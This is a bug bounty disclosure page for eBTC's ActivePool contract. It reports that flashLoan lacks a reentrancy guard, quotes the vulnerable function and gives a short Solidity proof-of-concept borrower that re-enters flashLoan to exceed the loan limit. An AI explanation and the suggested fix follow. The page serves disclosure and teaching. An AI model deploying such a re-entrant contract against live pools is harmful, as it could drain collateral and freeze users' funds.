Reentrancy on ActivePool allows users to borrow
The ActivePool contract's flashLoan function lacks a reentrancy guard, so a borrower's callback can call flashLoan again before the first loan is repaid. This lets an attacker borrow more than the maximum flash loan limit, potentially draining the pool's collateral.
- Disclosed after under an hour
28605 - [SC - Insight] Reentrancy on ActivePool allows users to borrow...
Submitted on Feb 22nd 2024 at 12:24:10 UTC by @shanb1605 for Boost | eBTC
Report ID: #28605
Report type: Smart Contract
Report severity: Insight
Target: https://github.com/ebtc-protocol/ebtc/blob/release-0.7/packages/contracts/contracts/ActivePool.sol
Impacts:
- Smart contract unable to operate due to lack of token funds
- Temporary freezing of funds for at least 15 minutes
- Bypassing Max Limit of Flash Loan amount
Description
Brief/Intro
The flashLoan() allows users to borrow collateral on Active Pool. The amount that can be borrowed is limited to maxFlashLoan(token) means one can borrow within the maximum limit of the amount. This limit can be bypassed with a reentrant call on the flashLoan() function.
Vulnerability Details
The ActivePool contract misses reentrancy protection on flashLoan() which leads to borrowing over the max borrow limit of the token.
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external override returns (bool) {
require(amount > 0, "ActivePool: 0 Amount");
uint256 fee = flashFee(token, amount); // NOTE: Check for `token` is implicit in the requires above // also checks for paused
require(amount <= maxFlashLoan(token), "ActivePool: Too much");
uint256 amountWithFee = amount + fee;
uint256 oldRate = collateral.getPooledEthByShares(DECIMAL_PRECISION);
collateral.transfer(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
"ActivePool: IERC3156: Callback failed"
);
collateral.transferFrom(address(receiver), address(this), amountWithFee);
collateral.transfer(feeRecipientAddress, fee);
require(
collateral.balanceOf(address(this)) >= collateral.getPooledEthByShares(systemCollShares),
"ActivePool: Must repay Balance"
);
require(
collateral.sharesOf(address(this)) >= systemCollShares,
"ActivePool: Must repay Share"
);
require(
collateral.getPooledEthByShares(DECIMAL_PRECISION) == oldRate,
"ActivePool: Should keep same collateral share rate"
);
emit FlashLoanSuccess(address(receiver), token, amount, fee);
return true;
}
Impact Details
Bypass the max borrow amount and borrow until the Pool rans out of collateral.
References
MakerDao has Reentrancy Protection on the FlashLoan module: https://github.com/makerdao/dss-flash/blob/9d492aa6148c35f568400a1ab85cd6df43b2ccc8/src/flash.sol#L74
Proof of Concept
pragma solidity ^0.8.0;
interface ActivePool {
function flashLoan(address receiver,address token,uint256 amount,bytes calldata data) external;
}
contract FlashLoan_Receiver {
bytes32 public constant FLASH_SUCCESS_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
function call_Flashloan() external {
ActivePool(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
}
function onFlashLoan(address,address,uint256,uint256,bytes memory) external returns(bytes32) {
some_actions();
return FLASH_SUCCESS_VALUE;
}
function some_actions() internal {
bool attack_done;
if(!attack_done) {
attack_done = true;
ActivePool(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
}
}
}
- First
call_Flashloan()is executed to borrow max amount of tokens. - Inside
onFlashLoansome_actions()will executed to borrow again the collateral from ActivePool. - It sets
attack_done = trueto prevent an unbounded loop. - Further actions will be carried out with the Flash Loan amount.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the flashLoan function performs its limit check and token transfer without a reentrancy guard, so a nested call during the borrower callback passes the same per-call limit check again.
Impact
An attacker could bypass the maximum flash loan amount and borrow until the pool runs out of collateral, which may temporarily freeze funds or leave the contract unable to operate.
What the attacker needed
Ability to deploy a contract implementing the callback; pool holds enough collateral
The fix
The flashLoan function should be protected with a reentrancy guard, as MakerDAO does in its flash loan module.
How it was found
- Call flashLoan to borrow the maximum allowed amount.
- Inside the onFlashLoan callback, call flashLoan again before repaying.
- Use a flag to stop the recursion after the second borrow.
- Continue with the borrowed funds while the pool's collateral is over-committed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A flash loan is a loan that must be repaid within the same transaction. The contract checks the requested amount against a maximum, but it does not stop the borrower's callback code from asking for another loan before the first one is repaid. Because the check only looks at each individual request, several nested requests can add up to far more than the intended limit.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.